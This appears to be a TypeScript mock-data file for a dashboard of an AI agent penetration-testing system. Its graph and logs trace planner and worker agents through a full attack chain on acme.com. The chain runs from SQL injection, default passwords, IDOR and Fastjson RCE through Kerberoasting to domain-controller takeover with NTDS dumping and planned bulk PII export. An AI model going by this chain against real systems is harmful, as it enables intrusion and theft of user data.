payload: P({ summary: "sudo -l:(ALL) NOPASSWD: /usr/bin/python3 → 可提权至 root" }),
priority: 0,
state: "open",
origin: "work#8",
ts: T("2026-07-25T16:20:00Z"),
},
{
id: "fa6",
type: "fact",
payload: P({ summary: "据点第二块网卡直连内网 10.10.10.0/24(跨越 DMZ 边界)" }),
priority: 0,
state: "open",
origin: "work#9",
ts: T("2026-07-25T20:40:00Z"),
},
{
id: "fa7",
type: "fact",
payload: P({
summary: "内网存活:10.10.10.10 DC01(域控制器) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS",
}),
priority: 0,
state: "open",
origin: "work#9",
ts: T("2026-07-25T21:00:00Z"),
},
{
id: "fa8",
type: "fact",
payload: P({ summary: "JENKINS 控制台 /script 未授权,可直接执行 Groovy" }),
priority: 0,
state: "open",
origin: "work#11",
ts: T("2026-07-25T21:45:00Z"),
},
{
id: "fa9",
type: "fact",
payload: P({ summary: "从 Jenkins 凭据库导出域账号 acme\\svc_deploy 的明文口令" }),
priority: 0,
state: "open",
origin: "work#11",
ts: T("2026-07-25T22:10:00Z"),
},
{
id: "fa10",
type: "fact",
payload: P({ summary: "对 svc_sql 的 TGS 进行 Kerberoast,用 hashcat 破解出口令 Sql@2020" }),
priority: 0,
state: "open",
origin: "work#12",
ts: T("2026-07-25T23:20:00Z"),
},
// ── 漏洞 ──
{
id: "fi1",
type: "finding",
payload: P({ summary: "后台默认口令 admin/admin123" }),
priority: 0,
state: "confirmed",
origin: "work#2",
ts: T("2026-07-26T03:50:00Z"),
},
{
id: "fi2",
type: "finding",
payload: P({ summary: "通过 SQL 注入(search q)可读取 acme_prod 数据库" }),
priority: 0,
state: "confirmed",
origin: "work#4",
ts: T("2026-07-26T01:20:00Z"),
},
{
id: "fi3",
type: "finding",
payload: P({ summary: "IDOR:/v1/orders?id= 可绕过权限查询他人订单" }),
priority: 0,
state: "confirmed",
origin: "work#5",
ts: T("2026-07-26T02:44:00Z"),
},
{
id: "fiSrc",
type: "finding",
payload: P({ summary: "源码泄露 + 硬编码数据库凭据(sa/Acme@2021)" }),
priority: 0,
state: "confirmed",
origin: "workG",
ts: T("2026-07-25T20:36:00Z"),
},
{
id: "fiRce",
type: "finding",
payload: P({ summary: "通过 shop Fastjson 反序列化 RCE 获得服务器命令执行" }),
priority: 0,
state: "confirmed",
origin: "work#7",
ts: T("2026-07-25T15:40:00Z"),
},
{
id: "fiPriv",
type: "finding",
payload: P({ summary: "DMZ 据点本地提权 root(sudo NOPASSWD 配置错误)" }),
priority: 0,
state: "confirmed",
origin: "work#8",
ts: T("2026-07-25T16:20:00Z"),
},
{
id: "fiJenkins",
type: "finding",
payload: P({ summary: "内网 Jenkins 未授权 Groovy → 服务器 RCE" }),
priority: 0,
state: "confirmed",
origin: "work#11",
ts: T("2026-07-25T21:50:00Z"),
},
{
id: "fiKerb",
type: "finding",
payload: P({ summary: "通过 Kerberoasting 破解域服务账号 svc_sql 口令" }),
priority: 0,
state: "confirmed",
origin: "work#12",
ts: T("2026-07-25T23:20:00Z"),
},
{
id: "fiDC",
type: "finding",
payload: P({ summary: "控制域控制器 DC01(Domain Admin):内网目标达成" }),
priority: 0,
state: "confirmed",
origin: "work#13",
ts: T("2026-07-26T00:20:00Z"),
},
// ── 提示(主 agent 注入)──
{
id: "h1",
type: "hint",
payload: P({ summary: "后台为 Element-UI,优先执行默认口令列表" }),
priority: 5,
state: "consumed",
origin: "mainagent",
ts: T("2026-07-26T03:20:00Z"),
},
{
id: "h2",
type: "hint",
payload: P({ summary: "内网优先攻击 Jenkins:未授权 /script 直达 Groovy RCE" }),
priority: 6,
state: "consumed",
origin: "mainagent",
ts: T("2026-07-25T21:20:00Z"),
},
{
id: "h3",
type: "hint",
payload: P({ summary: "将源码中的数据库口令向内网喷洒,很可能通用" }),
priority: 6,
state: "consumed",
origin: "mainagent",
ts: T("2026-07-25T23:10:00Z"),
},
],
edges: [
// 根 → 目标
{ src: "root", dst: "g1", rel: "spawns" },
{ src: "root", dst: "g2", rel: "spawns" },
{ src: "root", dst: "g3", rel: "spawns" },
{ src: "root", dst: "g4", rel: "spawns" },
// 目标 → 意图
{ src: "g1", dst: "i1", rel: "spawns" },
{ src: "g1", dst: "i2", rel: "spawns" },
{ src: "g1", dst: "i3", rel: "spawns" },
{ src: "g2", dst: "i4", rel: "spawns" },
{ src: "g2", dst: "i5", rel: "spawns" },
{ src: "g2", dst: "ig", rel: "spawns" },
{ src: "g3", dst: "i6", rel: "spawns" },
{ src: "g3", dst: "i7", rel: "spawns" },
{ src: "g3", dst: "i8", rel: "spawns" },
{ src: "g4", dst: "i9", rel: "spawns" },
{ src: "g4", dst: "i10", rel: "spawns" },
{ src: "g4", dst: "i11", rel: "spawns" },
{ src: "g4", dst: "i12", rel: "spawns" },
{ src: "g4", dst: "i13", rel: "spawns" },
// 意图 → 事实 / 漏洞(产出)
{ src: "i1", dst: "fa1", rel: "yields" },
{ src: "i4", dst: "fa2", rel: "yields" },
{ src: "i2", dst: "fi1", rel: "yields" },
{ src: "i4", dst: "fi2", rel: "yields" },
{ src: "i5", dst: "fi3", rel: "yields" },
{ src: "ig", dst: "faGit", rel: "yields" },
{ src: "ig", dst: "faCreds", rel: "yields" },
{ src: "ig", dst: "fiSrc", rel: "yields" },
{ src: "i6", dst: "fa3", rel: "yields" },
{ src: "i7", dst: "fa4", rel: "yields" },
{ src: "i7", dst: "fiRce", rel: "yields" },
{ src: "i8", dst: "fa5", rel: "yields" },
{ src: "i8", dst: "fiPriv", rel: "yields" },
{ src: "i9", dst: "fa6", rel: "yields" },
{ src: "i9", dst: "fa7", rel: "yields" },
{ src: "i11", dst: "fa8", rel: "yields" },
{ src: "i11", dst: "fa9", rel: "yields" },
{ src: "i11", dst: "fiJenkins", rel: "yields" },
{ src: "i12", dst: "fa10", rel: "yields" },
{ src: "i12", dst: "fiKerb", rel: "yields" },
{ src: "i13", dst: "fiDC", rel: "yields" },
// 事实 → 新意图(事实驱动的多层递进)
{ src: "fa3", dst: "i7", rel: "derived_from" },
{ src: "fa4", dst: "i8", rel: "derived_from" },
{ src: "fa4", dst: "i9", rel: "derived_from" },
{ src: "faCreds", dst: "i10", rel: "derived_from" },
{ src: "fa7", dst: "i11", rel: "derived_from" },
{ src: "fa7", dst: "i12", rel: "derived_from" },
{ src: "fa9", dst: "i13", rel: "derived_from" },
{ src: "fa10", dst: "i13", rel: "derived_from" },
// 提示 → 意图
{ src: "h1", dst: "i2", rel: "derived_from" },
{ src: "h2", dst: "i11", rel: "derived_from" },
{ src: "h3", dst: "i10", rel: "derived_from" },
// 漏洞 → 证明目标达成
{ src: "fi1", dst: "g1", rel: "proves" },
{ src: "fiRce", dst: "g3", rel: "proves" },
{ src: "fiDC", dst: "g4", rel: "proves" },
],
};
export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent");
export const frontier: TaskNode[] = explorationGraph.nodes.filter(
(n) => n.type === "intent" && (n.state === "open" || n.state === "running"),
);
// ── Activity(执行过程)─────────────────────────────────────────────────────
// 会话由 sessions-tab 从「意图」派生(session.id = intent.id),transcript = 匹配
// intent_id 的活动流。planner=worker "planner"、主 agent=worker "mainagent"。
// 每个 worker 会话含完整工具执行链(tool_use → tool_result → …→ result)。
export const activity: Activity[] = [
// planner —— 每轮完整决策链:读态势 → 拉 worker 产出对照 → 判目标 → add_intent 派方向
// ── 第 0 轮 · 目标拆解与首批意图(2026-07-24 09:12)──
{ seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "第 0 轮 · 目标拆解" },
{
seq: 1001,
worker: "planner",
ts: T("2026-07-24T09:12:25Z"),
kind: "thinking",
summary:
"graph_overview:goals 已在目标层完成拆解。g1「获取 acme.com 后台管理权限」、g2「查阅用户敏感数据」,二者均为 open,facts=0,recent_facts 为空(图谱近乎空白,尚无任何 worker 产物)。范围内资产仅有根域名 acme.com 与一个 C 类网段。攻击面初判为 www / admin / api / shop / vpn 五个入口。由于图谱中没有 fact,我只能以【极轻量的只读侦察】来具体化初始意图,plan 阶段不执行实际作业。",
},
{
seq: 1002,
worker: "planner",
ts: T("2026-07-24T09:12:40Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "p0-probe",
summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com",
detail:
"初始情况近乎空白,执行不超过 3 次只读侦察以校正初始意图方向(不做枚举·验证,那是 worker 的职责)。",
},
{
seq: 1003,
worker: "planner",
ts: T("2026-07-24T09:12:52Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "p0-probe",
summary:
"acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200,无 X-Powered-By,body 中检测到 element-ui/vue 特征",
detail:
"admin 是独立的后台登录页。已确认五个入口有效,可精确撰写初始意图说明。",
},
{
seq: 1004,
worker: "planner",
ts: T("2026-07-24T09:13:00Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p0-ai",
summary: "add_intent × 4(批量派遣首批探索方向)",
detail:
"intents=[\n { summary: '全量枚举 acme.com 子域名 + 识别存活主机端口/服务以掌握攻击面', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com 后台默认口令/弱口令测试(Element-UI 登录,无验证码)', asset_ids: [admin], priority: 9 },\n { summary: 'www.acme.com/search q 参数 SQL 注入检测', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com 订单端点权限绕过(IDOR)测试', asset_ids: [api], priority: 8 },\n]\nparent_ids 均为空(属顶层新方向,回退连接到 origin fact)。",
},
{
seq: 1005,
worker: "planner",
ts: T("2026-07-24T09:13:02Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p0-ai",
summary: "已创建 4 个 intent → ids=[i1, i2, i4, i5],已接入 frontier",
detail:
"有意保持路径多样性。以 i1 侦察 + i2(g1 认证路径) + i4/i5(g2 数据路径)并行两条独立攻击手法,不急于收敛。",
},
{
seq: 1006,
worker: "planner",
ts: T("2026-07-24T09:13:05Z"),
kind: "text",
summary:
"本轮派生出首批 4 个意图。i1 资产侦察、i2 后台口令、i4 注入、i5 API 权限绕过,g1 走 i2、g2 走 i4/i5,两个目标都保留了独立入口。worker 产出事实后再按脉络增援。",
},
// ── 第 1 轮 · 攻击面加码(2026-07-25 14:12)──
{ seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "第 1 轮 · 攻击面增援" },
{
seq: 1101,
worker: "planner",
ts: T("2026-07-25T14:12:15Z"),
kind: "thinking",
summary:
"recent_facts 比对:workG 回报 faGit「.git 可下载,用 git-dumper 还原后端源码」与 faCreds「config.php 中硬编码 sa/Acme@2021(推测内网通用)」,work#6 指纹识别回报 fa3「在 shop 上检测到 Fastjson 1.2.24(存在已知反序列化 RCE)」。【可作素材的新手法】有两种。① 硬编码数据库口令可能在内网大范围复用。② Fastjson 有成熟的 RCE 手法。这开辟了与既有认证/注入路径【本质不同】的入口,是从 shop 直接用 RCE 突破 DMZ 的路径。先取 faGit 详情核对产物。",
},
{
seq: 1102,
worker: "planner",
ts: T("2026-07-25T14:12:28Z"),
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p1-nd",
summary: "node_detail(faGit):比对 workG 的源码还原产物",
detail: "在 add_intent 前先确认 worker 实际还原了什么,避免仅凭指纹臆断方向。",
},
{
seq: 1103,
worker: "planner",
ts: T("2026-07-25T14:12:35Z"),
kind: "tool_result",
tool: "node_detail",
tool_use_id: "p1-nd",
summary:
"faGit 证据:用 git-dumper 还原 config.php / db.php / order_api.php。config.php 内 $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']",
detail:
"硬编码值指向内网 10.10.10.5(FS01),佐证 faCreds 的「内网通用」推测。RCE 站稳后这组口令值得复用。",
},
{
seq: 1104,
worker: "planner",
ts: T("2026-07-25T14:12:50Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p1-ai",
summary: "add_intent × 2(Fastjson 突破链,按串行阶段从可执行的第一步开始派遣)",
detail:
"intents=[\n { summary: '深入分析 shop.acme.com 组件指纹 + 精确定位 Fastjson 1.2.24 CVE(确认 gadget 链)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: '构造 Fastjson 反序列化 payload 触发 shop RCE 并获取反弹 shell', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\n注:属强依赖的串行链,已在 TodoWrite 中记录『指纹→RCE→据点提权』三个阶段,本轮仅派遣前两步(提权依赖 shell 产物,故下一轮派遣)。",
},
{
seq: 1105,
worker: "planner",
ts: T("2026-07-25T14:12:52Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p1-ai",
summary: "已创建 2 个 intent → ids=[i6, i7],经 fa3 接入脉络",
},
{
seq: 1106,
worker: "planner",
ts: T("2026-07-25T14:13:00Z"),
kind: "text",
summary:
"态势升级:源码 + 内网硬编码口令 + Fastjson RCE 构成了全新的突破路径。已向目标层登记 g3「从外网突破 DMZ,取得内网据点」,并派遣 i6(指纹/CVE 关联)·i7(触发 RCE)。DMZ 提权阶段依赖 shell,故记入待办并在下一轮派遣。",
},
// ── 第 2 轮 · 立足点已建,转内网(2026-07-25 20:25)──
{
seq: 1200,
worker: "planner",
ts: T("2026-07-25T20:25:00Z"),
kind: "round",
summary: "第 2 轮 · 据点获取完成,转向内网",
},
{
seq: 1201,
worker: "planner",
ts: T("2026-07-25T20:25:18Z"),
kind: "thinking",
summary:
"脉络比对:i7 回报 fa4「反弹 shell www-data@dmz-web01(10.0.20.15),位于 DMZ 网段」,提权链回报 fa5「在 sudo -l 中检测到 NOPASSWD python3 → 可提权至 root」、fa6「据点第二块网卡直连内网 10.10.10.0/24」。g3 的验收条件(突破 DMZ + 取得据点)已由 fa4+fa6 直接满足。先确认 fa6 的内网可达性再 prove_goal。",
},
{
seq: 1202,
worker: "planner",
ts: T("2026-07-25T20:25:30Z"),
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p2-nd",
summary: "node_detail(fa6):确认双网卡与内网可达性",
},
{
seq: 1203,
worker: "planner",
ts: T("2026-07-25T20:25:38Z"),
kind: "tool_result",
tool: "node_detail",
tool_use_id: "p2-nd",
summary:
"fa6 证据:ip a → eth0 10.0.20.15(DMZ) / eth1 10.10.10.15(内网);ping 10.10.10.10 成功,确认跨越 DMZ 边界",
},
{
seq: 1204,
worker: "planner",
ts: T("2026-07-25T20:25:50Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p2-pg",
summary: "prove_goal(g3, evidence=fa6)",
detail:
"reason:通过 i7 的 RCE 取得 DMZ 据点(fa4),fa5 完成 root 提权,fa6 证明第二块网卡直连内网且 ping 通 DC01。达成「突破 DMZ,取得内网据点」验收。",
},
{
seq: 1205,
worker: "planner",
ts: T("2026-07-25T20:25:52Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p2-pg",
summary: "goal g3 → met(已关联证据 fa6);g1/g2/g4 尚未达成,继续作业",
},
{
seq: 1206,
worker: "planner",
ts: T("2026-07-25T20:26:10Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p2-ai",
summary: "add_intent × 4(以据点为跳板展开内网横向移动)",
detail:
"intents=[\n { summary: '以 dmz-web01 为跳板发现内网 10.10.10.0/24 主机并识别端口', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: '内网横向移动:用硬编码口令 sa/Acme@2021 复用凭据并做密码喷洒', parent_ids: [faCreds], priority: 8 },\n { summary: '内网 Jenkins(10.10.10.20) 未授权 /script Groovy 执行(RCE)', parent_ids: [fa6], priority: 9 },\n { summary: '针对域服务账号的 Kerberoasting 与离线破解', parent_ids: [fa6], priority: 8 },\n]\n主机发现为前置步骤(先派遣),其余三项为并行横向探索方向。",
},
{
seq: 1207,
worker: "planner",
ts: T("2026-07-25T20:26:12Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p2-ai",
summary: "4 intents created → ids=[i9, i10, i11, i12]",
},
{
seq: 1208,
worker: "planner",
ts: T("2026-07-25T20:26:20Z"),
kind: "text",
summary:
"g3 达成,攻击面从外网转向内网。已登记 g4「通过内网横向移动控制内网目标域控制器 DC01」,并派遣 i9(主机发现) + i10/i11/i12 三项并行横向移动。凭据复用直接挂在 faCreds 上。即把外网源码泄露获得的口令投入内网横向移动。",
},
// ── 第 3 轮 · 靶标达成复盘(2026-07-26 00:25)──
{ seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "第 3 轮 · 目标达成回顾" },
{
seq: 1301,
worker: "planner",
ts: T("2026-07-26T00:25:16Z"),
kind: "thinking",
summary:
"本轮 worker 产物比对:i9→fa7「内网存活 DC01/FS01/JENKINS」,i11→fa8「Jenkins /script 无认证的 Groovy」+ fa9「从 Jenkins 凭据库提取 acme\\svc_deploy 明文口令」,i12→fa10「svc_sql TGS Kerberoast,用 hashcat 破解出 Sql@2020」。svc_deploy 属于 Domain Admins,i13 借此用 psexec 控制 DC01 并 secretsdump。g4 验收(控制 DC01)应已达成,故先比对 finding 证据链再确认。",
},
{
seq: 1302,
worker: "planner",
ts: T("2026-07-26T00:25:30Z"),
kind: "tool_use",
tool: "list_findings",
tool_use_id: "p3-lf",
summary: "list_findings:比对 DC01 失陷的确凿证据",
},
{
seq: 1303,
worker: "planner",
ts: T("2026-07-26T00:25:40Z"),
kind: "tool_result",
tool: "list_findings",
tool_use_id: "p3-lf",
summary:
"F-09「完全控制域控制器 DC01 / 用 secretsdump 导出整个域哈希」critical(证据:psexec svc_deploy@10.10.10.10 + NTDS.dit dump);上游链 fa9→fa10→i13 完整",
},
{
seq: 1304,
worker: "planner",
ts: T("2026-07-26T00:25:52Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p3-pg",
summary: "prove_goal(g4, evidence=F-09)",
detail:
"reason:Jenkins 泄露 svc_deploy(Domain Admin) → 用 psexec 控制 DC01 → 以 secretsdump 导出整个域哈希,F-09 确认,达成「控制内网目标域控制器 DC01」。",
},
{
seq: 1305,
worker: "planner",
ts: T("2026-07-26T00:25:54Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p3-pg",
summary: "goal g4 → met;系统提示:g2 仍为 open 且非最后一个目标,故整体作业尚未结束",
},
{
seq: 1306,
worker: "planner",
ts: T("2026-07-26T00:26:10Z"),
kind: "text",
summary:
"g4 收尾,内·外网路径已完全打通(外网 RCE → DMZ → 内网 → 域控制器)。逐一比对未覆盖方向。g2「查阅用户敏感数据」还差最后一步,但既有 i3(后台用户端点) + i5(API IDOR) 已覆盖该方向且均为 running。本轮不存在【本质不同的未覆盖新方向】,故遵循克制原则,新增意图 0,等待 i3/i5 的产出。",
},
// ── 第 4 轮 · 后台达成,收敛 g2(2026-07-26 03:55)──
{
seq: 1400,
worker: "planner",
ts: T("2026-07-26T03:55:00Z"),
kind: "round",
summary: "第 4 轮 · 后台达成,g2 收敛",
},
{
seq: 1401,
worker: "planner",
ts: T("2026-07-26T03:55:14Z"),
kind: "thinking",
summary:
"recent_facts 比对:work#2 用 faCreds 的 Acme@2021 命中 admin 后台(i2 done),取得后台管理权限。g1 验收达成,先用 prove_goal 确认。随后进行【定量验收比对】。g2「查阅用户敏感数据」目前 i3/i5 仅触及端点表面,尚未真正获取大量数据,实测未达标,故【禁止】prove_goal,改为提高优先级以补强数据获取意图。",
},
{
seq: 1402,
worker: "planner",
ts: T("2026-07-26T03:55:26Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p4-pg",
summary: "prove_goal(g1, evidence=fa1)",
detail:
"reason:i2 用外网泄露的硬编码口令 Acme@2021 成功登录 admin 后台(Element-UI),取得后台管理权限,g1 达成。",
},
{
seq: 1403,
worker: "planner",
ts: T("2026-07-26T03:55:28Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p4-pg",
summary: "goal g1 → met;剩余未达成:g2",
},
{
seq: 1404,
worker: "planner",
ts: T("2026-07-26T03:55:40Z"),
kind: "thinking",
summary:
"g2 定量比对:目标要求「查阅用户敏感数据」,即真正获取大量用户记录。graph_overview 的 findings 中尚不存在「成功导出用户数据」条目,i3/i5 均处于 running 且未回报数据获取结果。实测未达标。严禁以「既已进入后台即大体达成」草率标记为 met,继续派遣意图以弥补差距。",
},
{
seq: 1405,
worker: "planner",
ts: T("2026-07-26T03:55:52Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p4-ai",
summary: "add_intent × 2(g2 数据获取收敛,优先级上调)",
detail:
"intents=[\n { summary: '已完成 admin 后台登录,枚举用户管理/导出端点以批量导出用户敏感字段', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: '通过 api.acme.com 订单 IDOR 遍历 order_id 批量导出用户订单/PII', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\n注:i3/i5 已处于 running,本轮以更精确的数据获取说明 + 优先级上调(→9)增援,不重复派遣同义意图。",
},
{
seq: 1406,
worker: "planner",
ts: T("2026-07-26T03:55:54Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p4-ai",
summary: "已更新 2 个 intent → ids=[i3, i5](优先级升至 9,说明具体化为「大量数据获取」)",
},
{
seq: 1407,
worker: "planner",
ts: T("2026-07-26T03:55:58Z"),
kind: "text",
summary:
"g1 达成(4 个中 met 3 个:g1/g3/g4)。g2 严格守住定量验收。仅进入后台不予认定,必须获取大量用户数据才能确认。已将 i3/i5 提升至 priority 9 并具体化为数据获取意图,待 worker 回报后即可结束整体作业。",
},
// work#1 · i1 子域枚举与端口扫描(done)
{
seq: 10,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:20:00Z"),
kind: "thinking",
summary: "先被动侦察子域名,再对存活主机执行端口/服务识别。",
},
{
seq: 11,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:20:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11",
summary: "subfinder -d acme.com -silent | httpx -silent -sc -title",
},
{
seq: 12,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:22:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11",
summary:
"www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]",
detail: "存活子域名 5 个,其中 admin 为后台登录页。",
},
{
seq: 13,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:23:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12",
summary: "nmap -sV -T4 -p- 203.0.113.10",
},
{
seq: 14,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:26:40Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12",
summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0",
detail: "22/80/443 端口开放。",
},
{
seq: 15,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:27:00Z"),
kind: "tool_use",
tool: "upsert_asset",
tool_use_id: "t13",
summary: "upsert_asset × 6(子域名+服务)",
},
{
seq: 16,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:27:01Z"),
kind: "tool_result",
tool: "upsert_asset",
tool_use_id: "t13",
summary: "6 assets upserted",
},
{
seq: 17,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:40:00Z"),
kind: "result",
summary: "资产侦察完成并发现后台 admin.acme.com,将结果回写图谱。",
input_tokens: 96000,
output_tokens: 6100,
cache_read_tokens: 61000,
cache_write_tokens: 9000,
},
// work#2 · i2 后台默认口令(done,证明 g1)
{
seq: 20,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:31:00Z"),
kind: "thinking",
summary:
"后台为 Element-UI,登录端点既无验证码也无限速。先尝试默认口令列表,再进行字典爆破。",
},
{
seq: 21,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t21",
summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'",
},
{
seq: 22,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t21",
summary: "401",
detail: "admin/admin 失败。",
},
{
seq: 23,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t22",
summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login",
},
{
seq: 24,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:33Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t22",
summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard",
detail: "admin/admin123 登录成功,取得会话 cookie。",
},
{
seq: 25,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:33:10Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t23",
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'",
},
{
seq: 26,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:33:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t23",
summary: "<title>Acme Admin · 控制台",
detail: "确认已进入后台控制台。",
},
{
seq: 27,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:34:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t24",
summary: "report_finding(Default Credentials, high)",
},
{
seq: 28,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:34:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t24",
summary: "记录了 finding f-6,并关联到目标 g1(proves)。",
},
{
seq: 29,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:50:00Z"),
kind: "result",
summary: "已确认后台默认口令,达成目标 ①。",
input_tokens: 72000,
output_tokens: 4800,
cache_read_tokens: 48000,
cache_write_tokens: 7200,
},
// work#4 · i4 SQL 注入(done)
{
seq: 40,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:01:00Z"),
kind: "thinking",
summary: "search?q= 结果页会把 q 拼接到标题。先手动插入单引号以观察错误信息。",
},
{
seq: 41,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:02:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t41",
summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'",
},
{
seq: 42,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:02:04Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t41",
summary: "Unclosed quotation mark ... near '1'.",
detail: "疑似 MSSQL 报错型注入。",
},
{
seq: 43,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:03:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t42",
summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2",
},
{
seq: 44,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:18:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t42",
summary:
"Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb",
detail: "确认可注入,并枚举出 4 个数据库。",
},
{
seq: 45,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:19:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t43",
summary: "report_finding(SQL Injection, high)",
},
{
seq: 46,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:19:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t43",
summary: "记录了 finding f-1。",
},
{
seq: 47,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:20:00Z"),
kind: "result",
summary: "确认存在 SQL 注入。",
input_tokens: 118000,
output_tokens: 7400,
cache_read_tokens: 82000,
cache_write_tokens: 11000,
},
// work#5 · i5 IDOR(running)
{
seq: 50,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:31:00Z"),
kind: "thinking",
summary:
"/v1/orders?id= 为数字自增 id,是典型的 IDOR 面。先查询自己的订单,再修改 id 看能否读取他人订单。",
},
{
seq: 51,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:40:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t51",
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001",
},
{
seq: 52,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:40:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t51",
summary: '{ "order_id":1001, "user_id":42, "amount":299 }',
detail: "是本人订单,正常。",
},
{
seq: 53,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:43:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t52",
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002",
},
{
seq: 54,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:43:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t52",
summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"北京市朝阳区 ****" }',
detail: "通过权限绕过读取了他人订单(含手机号/地址),且无属主校验。",
},
{
seq: 55,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:44:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t53",
summary: "report_finding(IDOR, high)",
},
{
seq: 56,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:44:01Z"),
